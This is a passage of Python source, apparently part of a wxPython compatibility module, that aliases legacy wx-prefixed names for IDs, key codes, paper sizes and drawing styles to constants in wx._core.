wx._core.FLOOD_BORDER\nwxODDEVEN_RULE = wx._core.ODDEVEN_RULE\nwxWINDING_RULE = wx._core.WINDING_RULE\nwxTOOL_TOP = wx._core.TOOL_TOP\nwxTOOL_BOTTOM = wx._core.TOOL_BOTTOM\nwxTOOL_LEFT = wx._core.TOOL_LEFT\nwxTOOL_RIGHT = wx._core.TOOL_RIGHT\nwxOK = wx._core.OK\nwxYES_NO = wx._core.YES_NO\nwxCANCEL = wx._core.CANCEL\nwxYES = wx._core.YES\nwxNO = wx._core.NO\nwxNO_DEFAULT = wx._core.NO_DEFAULT\nwxYES_DEFAULT = wx._core.YES_DEFAULT\nwxICON_EXCLAMATION = wx._core.ICON_EXCLAMATION\nwxICON_HAND = wx._core.ICON_HAND\nwxICON_QUESTION = wx._core.ICON_QUESTION\nwxICON_INFORMATION = wx._core.ICON_INFORMATION\nwxICON_STOP = wx._core.ICON_STOP\nwxICON_ASTERISK = wx._core.ICON_ASTERISK\nwxICON_MASK = wx._core.ICON_MASK\nwxICON_WARNING = wx._core.ICON_WARNING\nwxICON_ERROR = wx._core.ICON_ERROR\nwxFORWARD = wx._core.FORWARD\nwxBACKWARD = wx._core.BACKWARD\nwxRESET = wx._core.RESET\nwxHELP = wx._core.HELP\nwxMORE = wx._core.MORE\nwxSETUP = wx._core.SETUP\nwxSIZE_AUTO_WIDTH = wx._core.SIZE_AUTO_WIDTH\nwxSIZE_AUTO_HEIGHT = wx._core.SIZE_AUTO_HEIGHT\nwxSIZE_AUTO = wx._core.SIZE_AUTO\nwxSIZE_USE_EXISTING = wx._core.SIZE_USE_EXISTING\nwxSIZE_ALLOW_MINUS_ONE = wx._core.SIZE_ALLOW_MINUS_ONE\nwxSIZE_FORCE = wx._core.SIZE_FORCE\nwxPORTRAIT = wx._core.PORTRAIT\nwxLANDSCAPE = wx._core.LANDSCAPE\nwxPRINT_QUALITY_HIGH = wx._core.PRINT_QUALITY_HIGH\nwxPRINT_QUALITY_MEDIUM = wx._core.PRINT_QUALITY_MEDIUM\nwxPRINT_QUALITY_LOW = wx._core.PRINT_QUALITY_LOW\nwxPRINT_QUALITY_DRAFT = wx._core.PRINT_QUALITY_DRAFT\nwxID_ANY = wx._core.ID_ANY\nwxID_SEPARATOR = wx._core.ID_SEPARATOR\nwxID_NONE = wx._core.ID_NONE\nwxID_LOWEST = wx._core.ID_LOWEST\nwxID_OPEN = wx._core.ID_OPEN\nwxID_CLOSE = wx._core.ID_CLOSE\nwxID_NEW = wx._core.ID_NEW\nwxID_SAVE = wx._core.ID_SAVE\nwxID_SAVEAS = wx._core.ID_SAVEAS\nwxID_REVERT = wx._core.ID_REVERT\nwxID_EXIT = wx._core.ID_EXIT\nwxID_UNDO = wx._core.ID_UNDO\nwxID_REDO = wx._core.ID_REDO\nwxID_HELP = wx._core.ID_HELP\nwxID_PRINT = wx._core.ID_PRINT\nwxID_PRINT_SETUP = wx._core.ID_PRINT_SETUP\nwxID_PREVIEW = wx._core.ID_PREVIEW\nwxID_ABOUT = wx._core.ID_ABOUT\nwxID_HELP_CONTENTS = wx._core.ID_HELP_CONTENTS\nwxID_HELP_COMMANDS = wx._core.ID_HELP_COMMANDS\nwxID_HELP_PROCEDURES = wx._core.ID_HELP_PROCEDURES\nwxID_HELP_CONTEXT = wx._core.ID_HELP_CONTEXT\nwxID_CLOSE_ALL = wx._core.ID_CLOSE_ALL\nwxID_PREFERENCES = wx._core.ID_PREFERENCES\nwxID_CUT = wx._core.ID_CUT\nwxID_COPY = wx._core.ID_COPY\nwxID_PASTE = wx._core.ID_PASTE\nwxID_CLEAR = wx._core.ID_CLEAR\nwxID_FIND = wx._core.ID_FIND\nwxID_DUPLICATE = wx._core.ID_DUPLICATE\nwxID_SELECTALL = wx._core.ID_SELECTALL\nwxID_DELETE = wx._core.ID_DELETE\nwxID_REPLACE = wx._core.ID_REPLACE\nwxID_REPLACE_ALL = wx._core.ID_REPLACE_ALL\nwxID_PROPERTIES = wx._core.ID_PROPERTIES\nwxID_VIEW_DETAILS = wx._core.ID_VIEW_DETAILS\nwxID_VIEW_LARGEICONS = wx._core.ID_VIEW_LARGEICONS\nwxID_VIEW_SMALLICONS = wx._core.ID_VIEW_SMALLICONS\nwxID_VIEW_LIST = wx._core.ID_VIEW_LIST\nwxID_VIEW_SORTDATE = wx._core.ID_VIEW_SORTDATE\nwxID_VIEW_SORTNAME = wx._core.ID_VIEW_SORTNAME\nwxID_VIEW_SORTSIZE = wx._core.ID_VIEW_SORTSIZE\nwxID_VIEW_SORTTYPE = wx._core.ID_VIEW_SORTTYPE\nwxID_FILE1 = wx._core.ID_FILE1\nwxID_FILE2 = wx._core.ID_FILE2\nwxID_FILE3 = wx._core.ID_FILE3\nwxID_FILE4 = wx._core.ID_FILE4\nwxID_FILE5 = wx._core.ID_FILE5\nwxID_FILE6 = wx._core.ID_FILE6\nwxID_FILE7 = wx._core.ID_FILE7\nwxID_FILE8 = wx._core.ID_FILE8\nwxID_FILE9 = wx._core.ID_FILE9\nwxID_OK = wx._core.ID_OK\nwxID_CANCEL = wx._core.ID_CANCEL\nwxID_APPLY = wx._core.ID_APPLY\nwxID_YES = wx._core.ID_YES\nwxID_NO = wx._core.ID_NO\nwxID_STATIC = wx._core.ID_STATIC\nwxID_FORWARD = wx._core.ID_FORWARD\nwxID_BACKWARD = wx._core.ID_BACKWARD\nwxID_DEFAULT = wx._core.ID_DEFAULT\nwxID_MORE = wx._core.ID_MORE\nwxID_SETUP = wx._core.ID_SETUP\nwxID_RESET = wx._core.ID_RESET\nwxID_CONTEXT_HELP = wx._core.ID_CONTEXT_HELP\nwxID_YESTOALL = wx._core.ID_YESTOALL\nwxID_NOTOALL = wx._core.ID_NOTOALL\nwxID_ABORT = wx._core.ID_ABORT\nwxID_RETRY = wx._core.ID_RETRY\nwxID_IGNORE = wx._core.ID_IGNORE\nwxID_ADD = wx._core.ID_ADD\nwxID_REMOVE = wx._core.ID_REMOVE\nwxID_UP = wx._core.ID_UP\nwxID_DOWN = wx._core.ID_DOWN\nwxID_HOME = wx._core.ID_HOME\nwxID_REFRESH = wx._core.ID_REFRESH\nwxID_STOP = wx._core.ID_STOP\nwxID_INDEX = wx._core.ID_INDEX\nwxID_BOLD = wx._core.ID_BOLD\nwxID_ITALIC = wx._core.ID_ITALIC\nwxID_JUSTIFY_CENTER = wx._core.ID_JUSTIFY_CENTER\nwxID_JUSTIFY_FILL = wx._core.ID_JUSTIFY_FILL\nwxID_JUSTIFY_RIGHT = wx._core.ID_JUSTIFY_RIGHT\nwxID_JUSTIFY_LEFT = wx._core.ID_JUSTIFY_LEFT\nwxID_UNDERLINE = wx._core.ID_UNDERLINE\nwxID_INDENT = wx._core.ID_INDENT\nwxID_UNINDENT = wx._core.ID_UNINDENT\nwxID_ZOOM_100 = wx._core.ID_ZOOM_100\nwxID_ZOOM_FIT = wx._core.ID_ZOOM_FIT\nwxID_ZOOM_IN = wx._core.ID_ZOOM_IN\nwxID_ZOOM_OUT = wx._core.ID_ZOOM_OUT\nwxID_UNDELETE = wx._core.ID_UNDELETE\nwxID_REVERT_TO_SAVED = wx._core.ID_REVERT_TO_SAVED\nwxID_HIGHEST = wx._core.ID_HIGHEST\nwxOPEN = wx._core.OPEN\nwxSAVE = wx._core.SAVE\nwxHIDE_READONLY = wx._core.HIDE_READONLY\nwxOVERWRITE_PROMPT = wx._core.OVERWRITE_PROMPT\nwxFILE_MUST_EXIST = wx._core.FILE_MUST_EXIST\nwxMULTIPLE = wx._core.MULTIPLE\nwxCHANGE_DIR = wx._core.CHANGE_DIR\nwxACCEL_ALT = wx._core.ACCEL_ALT\nwxACCEL_CTRL = wx._core.ACCEL_CTRL\nwxACCEL_SHIFT = wx._core.ACCEL_SHIFT\nwxACCEL_NORMAL = wx._core.ACCEL_NORMAL\nwxPD_AUTO_HIDE = wx._core.PD_AUTO_HIDE\nwxPD_APP_MODAL = wx._core.PD_APP_MODAL\nwxPD_CAN_ABORT = wx._core.PD_CAN_ABORT\nwxPD_ELAPSED_TIME = wx._core.PD_ELAPSED_TIME\nwxPD_ESTIMATED_TIME = wx._core.PD_ESTIMATED_TIME\nwxPD_REMAINING_TIME = wx._core.PD_REMAINING_TIME\nwxPD_SMOOTH = wx._core.PD_SMOOTH\nwxPD_CAN_SKIP = wx._core.PD_CAN_SKIP\nwxDD_NEW_DIR_BUTTON = wx._core.DD_NEW_DIR_BUTTON\nwxDD_DEFAULT_STYLE = wx._core.DD_DEFAULT_STYLE\nwxDD_CHANGE_DIR = wx._core.DD_CHANGE_DIR\nwxMENU_TEAROFF = wx._core.MENU_TEAROFF\nwxMB_DOCKABLE = wx._core.MB_DOCKABLE\nwxNO_FULL_REPAINT_ON_RESIZE = wx._core.NO_FULL_REPAINT_ON_RESIZE\nwxFULL_REPAINT_ON_RESIZE = wx._core.FULL_REPAINT_ON_RESIZE\nwxLI_HORIZONTAL = wx._core.LI_HORIZONTAL\nwxLI_VERTICAL = wx._core.LI_VERTICAL\nwxWS_EX_VALIDATE_RECURSIVELY = wx._core.WS_EX_VALIDATE_RECURSIVELY\nwxWS_EX_BLOCK_EVENTS = wx._core.WS_EX_BLOCK_EVENTS\nwxWS_EX_TRANSIENT = wx._core.WS_EX_TRANSIENT\nwxWS_EX_THEMED_BACKGROUND = wx._core.WS_EX_THEMED_BACKGROUND\nwxWS_EX_PROCESS_IDLE = wx._core.WS_EX_PROCESS_IDLE\nwxWS_EX_PROCESS_UI_UPDATES = wx._core.WS_EX_PROCESS_UI_UPDATES\nwxMM_TEXT = wx._core.MM_TEXT\nwxMM_LOMETRIC = wx._core.MM_LOMETRIC\nwxMM_HIMETRIC = wx._core.MM_HIMETRIC\nwxMM_LOENGLISH = wx._core.MM_LOENGLISH\nwxMM_HIENGLISH = wx._core.MM_HIENGLISH\nwxMM_TWIPS = wx._core.MM_TWIPS\nwxMM_ISOTROPIC = wx._core.MM_ISOTROPIC\nwxMM_ANISOTROPIC = wx._core.MM_ANISOTROPIC\nwxMM_POINTS = wx._core.MM_POINTS\nwxMM_METRIC = wx._core.MM_METRIC\nwxCENTRE = wx._core.CENTRE\nwxCENTER = wx._core.CENTER\nwxHORIZONTAL = wx._core.HORIZONTAL\nwxVERTICAL = wx._core.VERTICAL\nwxBOTH = wx._core.BOTH\nwxLEFT = wx._core.LEFT\nwxRIGHT = wx._core.RIGHT\nwxUP = wx._core.UP\nwxDOWN = wx._core.DOWN\nwxTOP = wx._core.TOP\nwxBOTTOM = wx._core.BOTTOM\nwxNORTH = wx._core.NORTH\nwxSOUTH = wx._core.SOUTH\nwxWEST = wx._core.WEST\nwxEAST = wx._core.EAST\nwxALL = wx._core.ALL\nwxALIGN_NOT = wx._core.ALIGN_NOT\nwxALIGN_CENTER_HORIZONTAL = wx._core.ALIGN_CENTER_HORIZONTAL\nwxALIGN_CENTRE_HORIZONTAL = wx._core.ALIGN_CENTRE_HORIZONTAL\nwxALIGN_LEFT = wx._core.ALIGN_LEFT\nwxALIGN_TOP = wx._core.ALIGN_TOP\nwxALIGN_RIGHT = wx._core.ALIGN_RIGHT\nwxALIGN_BOTTOM = wx._core.ALIGN_BOTTOM\nwxALIGN_CENTER_VERTICAL = wx._core.ALIGN_CENTER_VERTICAL\nwxALIGN_CENTRE_VERTICAL = wx._core.ALIGN_CENTRE_VERTICAL\nwxALIGN_CENTER = wx._core.ALIGN_CENTER\nwxALIGN_CENTRE = wx._core.ALIGN_CENTRE\nwxALIGN_MASK = wx._core.ALIGN_MASK\nwxSTRETCH_NOT = wx._core.STRETCH_NOT\nwxSHRINK = wx._core.SHRINK\nwxGROW = wx._core.GROW\nwxEXPAND = wx._core.EXPAND\nwxSHAPED = wx._core.SHAPED\nwxFIXED_MINSIZE = wx._core.FIXED_MINSIZE\nwxTILE = wx._core.TILE\nwxADJUST_MINSIZE = wx._core.ADJUST_MINSIZE\nwxBORDER_DEFAULT = wx._core.BORDER_DEFAULT\nwxBORDER_NONE = wx._core.BORDER_NONE\nwxBORDER_STATIC = wx._core.BORDER_STATIC\nwxBORDER_SIMPLE = wx._core.BORDER_SIMPLE\nwxBORDER_RAISED = wx._core.BORDER_RAISED\nwxBORDER_SUNKEN = wx._core.BORDER_SUNKEN\nwxBORDER_DOUBLE = wx._core.BORDER_DOUBLE\nwxBORDER_MASK = wx._core.BORDER_MASK\nwxBG_STYLE_SYSTEM = wx._core.BG_STYLE_SYSTEM\nwxBG_STYLE_COLOUR = wx._core.BG_STYLE_COLOUR\nwxBG_STYLE_CUSTOM = wx._core.BG_STYLE_CUSTOM\nwxDEFAULT = wx._core.DEFAULT\nwxDECORATIVE = wx._core.DECORATIVE\nwxROMAN = wx._core.ROMAN\nwxSCRIPT = wx._core.SCRIPT\nwxSWISS = wx._core.SWISS\nwxMODERN = wx._core.MODERN\nwxTELETYPE = wx._core.TELETYPE\nwxVARIABLE = wx._core.VARIABLE\nwxFIXED = wx._core.FIXED\nwxNORMAL = wx._core.NORMAL\nwxLIGHT = wx._core.LIGHT\nwxBOLD = wx._core.BOLD\nwxITALIC = wx._core.ITALIC\nwxSLANT = wx._core.SLANT\nwxSOLID = wx._core.SOLID\nwxDOT = wx._core.DOT\nwxLONG_DASH = wx._core.LONG_DASH\nwxSHORT_DASH = wx._core.SHORT_DASH\nwxDOT_DASH = wx._core.DOT_DASH\nwxUSER_DASH = wx._core.USER_DASH\nwxTRANSPARENT = wx._core.TRANSPARENT\nwxSTIPPLE = wx._core.STIPPLE\nwxSTIPPLE_MASK = wx._core.STIPPLE_MASK\nwxSTIPPLE_MASK_OPAQUE = wx._core.STIPPLE_MASK_OPAQUE\nwxBDIAGONAL_HATCH = wx._core.BDIAGONAL_HATCH\nwxCROSSDIAG_HATCH = wx._core.CROSSDIAG_HATCH\nwxFDIAGONAL_HATCH = wx._core.FDIAGONAL_HATCH\nwxCROSS_HATCH = wx._core.CROSS_HATCH\nwxHORIZONTAL_HATCH = wx._core.HORIZONTAL_HATCH\nwxVERTICAL_HATCH = wx._core.VERTICAL_HATCH\nwxJOIN_BEVEL = wx._core.JOIN_BEVEL\nwxJOIN_MITER = wx._core.JOIN_MITER\nwxJOIN_ROUND = wx._core.JOIN_ROUND\nwxCAP_ROUND = wx._core.CAP_ROUND\nwxCAP_PROJECTING = wx._core.CAP_PROJECTING\nwxCAP_BUTT = wx._core.CAP_BUTT\nwxCLEAR = wx._core.CLEAR\nwxXOR = wx._core.XOR\nwxINVERT = wx._core.INVERT\nwxOR_REVERSE = wx._core.OR_REVERSE\nwxAND_REVERSE = wx._core.AND_REVERSE\nwxCOPY = wx._core.COPY\nwxAND = wx._core.AND\nwxAND_INVERT = wx._core.AND_INVERT\nwxNO_OP = wx._core.NO_OP\nwxNOR = wx._core.NOR\nwxEQUIV = wx._core.EQUIV\nwxSRC_INVERT = wx._core.SRC_INVERT\nwxOR_INVERT = wx._core.OR_INVERT\nwxNAND = wx._core.NAND\nwxOR = wx._core.OR\nwxSET = wx._core.SET\nWXK_BACK = wx._core.WXK_BACK\nWXK_TAB = wx._core.WXK_TAB\nWXK_RETURN = wx._core.WXK_RETURN\nWXK_ESCAPE = wx._core.WXK_ESCAPE\nWXK_SPACE = wx._core.WXK_SPACE\nWXK_DELETE = wx._core.WXK_DELETE\nWXK_START = wx._core.WXK_START\nWXK_LBUTTON = wx._core.WXK_LBUTTON\nWXK_RBUTTON = wx._core.WXK_RBUTTON\nWXK_CANCEL = wx._core.WXK_CANCEL\nWXK_MBUTTON = wx._core.WXK_MBUTTON\nWXK_CLEAR = wx._core.WXK_CLEAR\nWXK_SHIFT = wx._core.WXK_SHIFT\nWXK_ALT = wx._core.WXK_ALT\nWXK_CONTROL = wx._core.WXK_CONTROL\nWXK_MENU = wx._core.WXK_MENU\nWXK_PAUSE = wx._core.WXK_PAUSE\nWXK_CAPITAL = wx._core.WXK_CAPITAL\nWXK_PRIOR = wx._core.WXK_PRIOR\nWXK_NEXT = wx._core.WXK_NEXT\nWXK_END = wx._core.WXK_END\nWXK_HOME = wx._core.WXK_HOME\nWXK_LEFT = wx._core.WXK_LEFT\nWXK_UP = wx._core.WXK_UP\nWXK_RIGHT = wx._core.WXK_RIGHT\nWXK_DOWN = wx._core.WXK_DOWN\nWXK_SELECT = wx._core.WXK_SELECT\nWXK_PRINT = wx._core.WXK_PRINT\nWXK_EXECUTE = wx._core.WXK_EXECUTE\nWXK_SNAPSHOT = wx._core.WXK_SNAPSHOT\nWXK_INSERT = wx._core.WXK_INSERT\nWXK_HELP = wx._core.WXK_HELP\nWXK_NUMPAD0 = wx._core.WXK_NUMPAD0\nWXK_NUMPAD1 = wx._core.WXK_NUMPAD1\nWXK_NUMPAD2 = wx._core.WXK_NUMPAD2\nWXK_NUMPAD3 = wx._core.WXK_NUMPAD3\nWXK_NUMPAD4 = wx._core.WXK_NUMPAD4\nWXK_NUMPAD5 = wx._core.WXK_NUMPAD5\nWXK_NUMPAD6 = wx._core.WXK_NUMPAD6\nWXK_NUMPAD7 = wx._core.WXK_NUMPAD7\nWXK_NUMPAD8 = wx._core.WXK_NUMPAD8\nWXK_NUMPAD9 = wx._core.WXK_NUMPAD9\nWXK_MULTIPLY = wx._core.WXK_MULTIPLY\nWXK_ADD = wx._core.WXK_ADD\nWXK_SEPARATOR = wx._core.WXK_SEPARATOR\nWXK_SUBTRACT = wx._core.WXK_SUBTRACT\nWXK_DECIMAL = wx._core.WXK_DECIMAL\nWXK_DIVIDE = wx._core.WXK_DIVIDE\nWXK_F1 = wx._core.WXK_F1\nWXK_F2 = wx._core.WXK_F2\nWXK_F3 = wx._core.WXK_F3\nWXK_F4 = wx._core.WXK_F4\nWXK_F5 = wx._core.WXK_F5\nWXK_F6 = wx._core.WXK_F6\nWXK_F7 = wx._core.WXK_F7\nWXK_F8 = wx._core.WXK_F8\nWXK_F9 = wx._core.WXK_F9\nWXK_F10 = wx._core.WXK_F10\nWXK_F11 = wx._core.WXK_F11\nWXK_F12 = wx._core.WXK_F12\nWXK_F13 = wx._core.WXK_F13\nWXK_F14 = wx._core.WXK_F14\nWXK_F15 = wx._core.WXK_F15\nWXK_F16 = wx._core.WXK_F16\nWXK_F17 = wx._core.WXK_F17\nWXK_F18 = wx._core.WXK_F18\nWXK_F19 = wx._core.WXK_F19\nWXK_F20 = wx._core.WXK_F20\nWXK_F21 = wx._core.WXK_F21\nWXK_F22 = wx._core.WXK_F22\nWXK_F23 = wx._core.WXK_F23\nWXK_F24 = wx._core.WXK_F24\nWXK_NUMLOCK = wx._core.WXK_NUMLOCK\nWXK_SCROLL = wx._core.WXK_SCROLL\nWXK_PAGEUP = wx._core.WXK_PAGEUP\nWXK_PAGEDOWN = wx._core.WXK_PAGEDOWN\nWXK_NUMPAD_SPACE = wx._core.WXK_NUMPAD_SPACE\nWXK_NUMPAD_TAB = wx._core.WXK_NUMPAD_TAB\nWXK_NUMPAD_ENTER = wx._core.WXK_NUMPAD_ENTER\nWXK_NUMPAD_F1 = wx._core.WXK_NUMPAD_F1\nWXK_NUMPAD_F2 = wx._core.WXK_NUMPAD_F2\nWXK_NUMPAD_F3 = wx._core.WXK_NUMPAD_F3\nWXK_NUMPAD_F4 = wx._core.WXK_NUMPAD_F4\nWXK_NUMPAD_HOME = wx._core.WXK_NUMPAD_HOME\nWXK_NUMPAD_LEFT = wx._core.WXK_NUMPAD_LEFT\nWXK_NUMPAD_UP = wx._core.WXK_NUMPAD_UP\nWXK_NUMPAD_RIGHT = wx._core.WXK_NUMPAD_RIGHT\nWXK_NUMPAD_DOWN = wx._core.WXK_NUMPAD_DOWN\nWXK_NUMPAD_PRIOR = wx._core.WXK_NUMPAD_PRIOR\nWXK_NUMPAD_PAGEUP = wx._core.WXK_NUMPAD_PAGEUP\nWXK_NUMPAD_NEXT = wx._core.WXK_NUMPAD_NEXT\nWXK_NUMPAD_PAGEDOWN = wx._core.WXK_NUMPAD_PAGEDOWN\nWXK_NUMPAD_END = wx._core.WXK_NUMPAD_END\nWXK_NUMPAD_BEGIN = wx._core.WXK_NUMPAD_BEGIN\nWXK_NUMPAD_INSERT = wx._core.WXK_NUMPAD_INSERT\nWXK_NUMPAD_DELETE = wx._core.WXK_NUMPAD_DELETE\nWXK_NUMPAD_EQUAL = wx._core.WXK_NUMPAD_EQUAL\nWXK_NUMPAD_MULTIPLY = wx._core.WXK_NUMPAD_MULTIPLY\nWXK_NUMPAD_ADD = wx._core.WXK_NUMPAD_ADD\nWXK_NUMPAD_SEPARATOR = wx._core.WXK_NUMPAD_SEPARATOR\nWXK_NUMPAD_SUBTRACT = wx._core.WXK_NUMPAD_SUBTRACT\nWXK_NUMPAD_DECIMAL = wx._core.WXK_NUMPAD_DECIMAL\nWXK_NUMPAD_DIVIDE = wx._core.WXK_NUMPAD_DIVIDE\nWXK_WINDOWS_LEFT = wx._core.WXK_WINDOWS_LEFT\nWXK_WINDOWS_RIGHT = wx._core.WXK_WINDOWS_RIGHT\nWXK_WINDOWS_MENU = wx._core.WXK_WINDOWS_MENU\nWXK_COMMAND = wx._core.WXK_COMMAND\nWXK_SPECIAL1 = wx._core.WXK_SPECIAL1\nWXK_SPECIAL2 = wx._core.WXK_SPECIAL2\nWXK_SPECIAL3 = wx._core.WXK_SPECIAL3\nWXK_SPECIAL4 = wx._core.WXK_SPECIAL4\nWXK_SPECIAL5 = wx._core.WXK_SPECIAL5\nWXK_SPECIAL6 = wx._core.WXK_SPECIAL6\nWXK_SPECIAL7 = wx._core.WXK_SPECIAL7\nWXK_SPECIAL8 = wx._core.WXK_SPECIAL8\nWXK_SPECIAL9 = wx._core.WXK_SPECIAL9\nWXK_SPECIAL10 = wx._core.WXK_SPECIAL10\nWXK_SPECIAL11 = wx._core.WXK_SPECIAL11\nWXK_SPECIAL12 = wx._core.WXK_SPECIAL12\nWXK_SPECIAL13 = wx._core.WXK_SPECIAL13\nWXK_SPECIAL14 = wx._core.WXK_SPECIAL14\nWXK_SPECIAL15 = wx._core.WXK_SPECIAL15\nWXK_SPECIAL16 = wx._core.WXK_SPECIAL16\nWXK_SPECIAL17 = wx._core.WXK_SPECIAL17\nWXK_SPECIAL18 = wx._core.WXK_SPECIAL18\nWXK_SPECIAL19 = wx._core.WXK_SPECIAL19\nWXK_SPECIAL20 = wx._core.WXK_SPECIAL20\nwxPAPER_NONE = wx._core.PAPER_NONE\nwxPAPER_LETTER = wx._core.PAPER_LETTER\nwxPAPER_LEGAL = wx._core.PAPER_LEGAL\nwxPAPER_A4 = wx._core.PAPER_A4\nwxPAPER_CSHEET = wx._core.PAPER_CSHEET\nwxPAPER_DSHEET = wx._core.PAPER_DSHEET\nwxPAPER_ESHEET = wx._core.PAPER_ESHEET\nwxPAPER_LETTERSMALL = wx._core.PAPER_LETTERSMALL\nwxPAPER_TABLOID = wx._core.PAPER_TABLOID\nwxPAPER_LEDGER = wx._core.PAPER_LEDGER\nwxPAPER_STATEMENT = wx._core.PAPER_STATEMENT\nwxPAPER_EXECUTIVE = wx._core.PAPER_EXECUTIVE\nwxPAPER_A3 = wx._core.PAPER_A3\nwxPAPER_A4SMALL = wx._core.PAPER_A4SMALL\nwxPAPER_A5 = wx._core.PAPER_A5\nwxPAPER_B4 = wx._core.PAPER_B4\nwxPAPER_B5 = wx._core.PAPER_B5\nwxPAPER_FOLIO = wx._core.PAPER_FOLIO\nwxPAPER_QUARTO = wx._core.PAPER_QUARTO\nwxPAPER_10X14 = wx._core.PAPER_10X14\nwxPAPER_11X17 = wx._core.PAPER_11X17\nwxPAPER_NOTE = wx._core.PAPER_NOTE\nwxPAPER_ENV_9 = wx._core.PAPER_ENV_9\nwxPAPER_ENV_10 = wx._core.PAPER_ENV_10\nwxPAPER_ENV_11 = wx._core.PAPER_ENV_11\nwxPAPER_ENV_12 = wx._core.PAPER_ENV_12\nwxPAPER_ENV_14 = wx._core.PAPER_ENV_14\nwxPAPER_ENV_DL = wx._core.PAPER_ENV_DL\nwxPAPER_ENV_C5 = wx._core.PAPER_ENV_C5\nwxPAPER_ENV_C3 = wx._core.PAPER_ENV_C3\nwxPAPER_ENV_C4 = wx._core.PAPER_ENV_C4\nwxPAPER_ENV_C6 = wx._core.PAPER_ENV_C6\nwxPAPER_ENV_C65 = wx._core.PAPER_ENV_C65\nwxPAPER_ENV_B4 = wx._core.PAPER_ENV_B4\nwxPAPER_ENV_B5 = wx._core.PAPER_ENV_B5\nwxPAPER_ENV_B6 = wx._core.PAPER_ENV_B6\nwxPAPER_ENV_ITALY = wx._core.PAPER_ENV_ITALY\nwxPAPER_ENV_MONARCH = wx._core.PAPER_ENV_MONARCH\nwxPAPER_ENV_PERSONAL = wx._core.PAPER_ENV_PERSONAL\nwxPAPER_FANFOLD_US = wx._core.PAPER_FANFOLD_US\nwxPAPER_FANFOLD_STD_GERMAN = wx._core.PAPER_FANFOLD_STD_GERMAN\nwxPAPER_FANFOLD_LGL_GERMAN = wx._core.PAPER_FANFOLD_LGL_GERMAN\nwxPAPER_ISO_B4 = wx._core.PAPER_ISO_B4\nwxPAPER_JAPANESE_POSTCARD = wx._core.PAPER_JAPANESE_POSTCARD\nwxPAPER_9X11 = wx._core.PAPER_9X11\nwxPAPER_10X11 = wx._core.PAPER_10X11\nwxPAPER_15X11 = wx._core.PAPER_15X11\nwxPAPER_ENV_INVITE = wx._core.PAPER_ENV_INVITE\nwxPAPER_LETTER_EXTRA = wx._core.PAPER_LETTER_EXTRA\nwxPAPER_LEGAL_EXTRA = wx._core.PAPER_LEGAL_EXTRA\nwxPAPER_TABLOID_EXTRA = wx._core.PAPER_TABLOID_EXTRA\nwxPAPER_A4_EXTRA = wx._core.PAPER_A4_EXTRA\nwxPAPER_LETTER_TRANSVERSE = wx._core.PAPER_LETTER_TRANSVERSE\nwxPAPER_A4_TRANSVERSE = wx._core.PAPER_A4_TRANSVERSE\nwxPAPER_LETTER_EXTRA_TRANSVERSE = wx._core.PAPER_LETTER_EXTRA_TRANSVERSE\nwxPAPER_A_PLUS = wx._core.PAPER_A_PLUS\nwxPAPER_B_PLUS = wx._core.PAPER_B_PLUS\nwxPAPER_LETTER_PLUS = wx._core.PAPER_LETTER_PLUS\nwxPAPER_A4_PLUS = wx._core.PAPER_A4_PLUS\nwxPAPER_A5_TRANSVERSE = wx._core.PAPER_A5_TRANSVERSE\nwxPAPER_B5_TRANSVERSE = wx._core.PAPER_B5_TRANSVERSE\nwxPAPER_A3_EXTRA = wx._core.PAPER_A3_EXTRA\nwxPAPER_A5_EXTRA = wx._core.PAPER_A5_EXTRA\nwxPAPER_B5_EXTRA = wx._core.PAPER_B5_EXTRA\nwxPAPER_A2 = wx._core.PAPER_A2\nwxPAPER_A3_TRANSVERSE = wx._core.PAPER_A3_TRANSVERSE\nwxPAPER_A3_EXTRA_TRANSVERSE = wx._core.PAPER_A3_EXTRA_TRANSVERSE\nwxPAPER_DBL_JAPANESE_POSTCARD = wx._core.PAPER_DBL_JAPANESE_POSTCARD\nwxPAPER_A6 = wx._core.PAPER_A6\nwxPAPER_JENV_KAKU2 = wx._core.PAPER_JENV_KAKU2\nwxPAPER_JENV_KAKU3 = wx._core.PAPER_JENV_KAKU3\nwxPAPER_JENV_CHOU3 = wx._core.PAPER_JENV_CHOU3\nwxPAPER_JENV_CHOU4 = wx._core.PAPER_JENV_CHOU4\nwxPAPER_LETTER_ROTATED = wx._core.PAPER_LETTER_ROTATED\nwxPAPER_A3_ROTATED = wx._core.PAPER_A3_ROTATED\nwxPAPER_A4_ROTATED = wx._core.PAPER_A4_ROTATED\nwxPAPER_A5_ROTATED = wx._core.PAPER_A5_ROTATED\nwxPAPER_B4_JIS_ROTATED = wx._core.PAPER_B4_JIS_ROTATED\nwxPAPER_B5_JIS_ROTATED = wx._core.PAPER_B5_JIS_ROTATED\nwxPAPER_JAPANESE_POSTCARD_ROTATED = wx._core.PAPER_JAPANESE_POSTCARD_ROTATED\nwxPAPER_DBL_JAPANESE_POSTCARD_ROTATED = wx._core.PAPER_DBL_JAPANESE_POSTCARD_ROTATED\nwxPAPER_A6_ROTATED = wx._core.PAPER_A6_ROTATED\nwxPAPER_JENV_KAKU2_ROTATED = wx._core.PAPER_JENV_KAKU2_ROTATED\nwxPAPER_JENV_KAKU3_ROTATED = wx._core.PAPER_JENV_KAKU3_ROTATED\nwxPAPER_JENV_CHOU3_ROTATED = wx._core.PAPER_JENV_CHOU3_ROTATED\nwxPAPER_JENV_CHOU4_ROTATED = wx._core.PAPER_JENV_CHOU4_ROTATED\nwxPAPER_B6_JIS = wx._core.PAPER_B6_JIS\nwxPAPER_B6_JIS_ROTATED = wx._core.PAPER_B6_JIS_ROTATED\nwxPAPER_12X11 = wx._core.PAPER_12X11\nwxPAPER_JENV_YOU4 = wx._core.PAPER_JENV_YOU4\nwxPAPER_JENV_YOU4_ROTATED = wx._core.PAPER_JENV_YOU4_ROTATED\nwxPAPER_P16K = wx._core.PAPER_P16K\nwxPAPER_P32K = wx._core.PAPER_P32K\nwxPAPER_P32KBIG = wx._core.PAPER_P32KBIG\nwxPAPER_PENV_1 = wx._core.PAPER_PENV_1\nwxPAPER_PENV_2 = wx._core.PAPER_PENV_2\nwxPAPER_PENV_3 = wx._core.PAPER_PENV_3\nwxPAPER_PENV_4 = wx._core.PAPER_PENV_4\nwxPAPER_PENV_5 = wx._core.PAPER_PENV_5\nwxPAPER_PENV_6 = wx._core.PAPER_PENV_6\nwxPAPER_PENV_7 = wx._core.PAPER_PENV_7\nwxPAPER_PENV_8 = wx._core.PAPER_PENV_8\nwxPAPER_PENV_9 = wx._core.PAPER_PENV_9\nwxPAPER_PENV_10 = wx._core.PAPER_PENV_10\nwxPAPER_P16K_ROTATED = 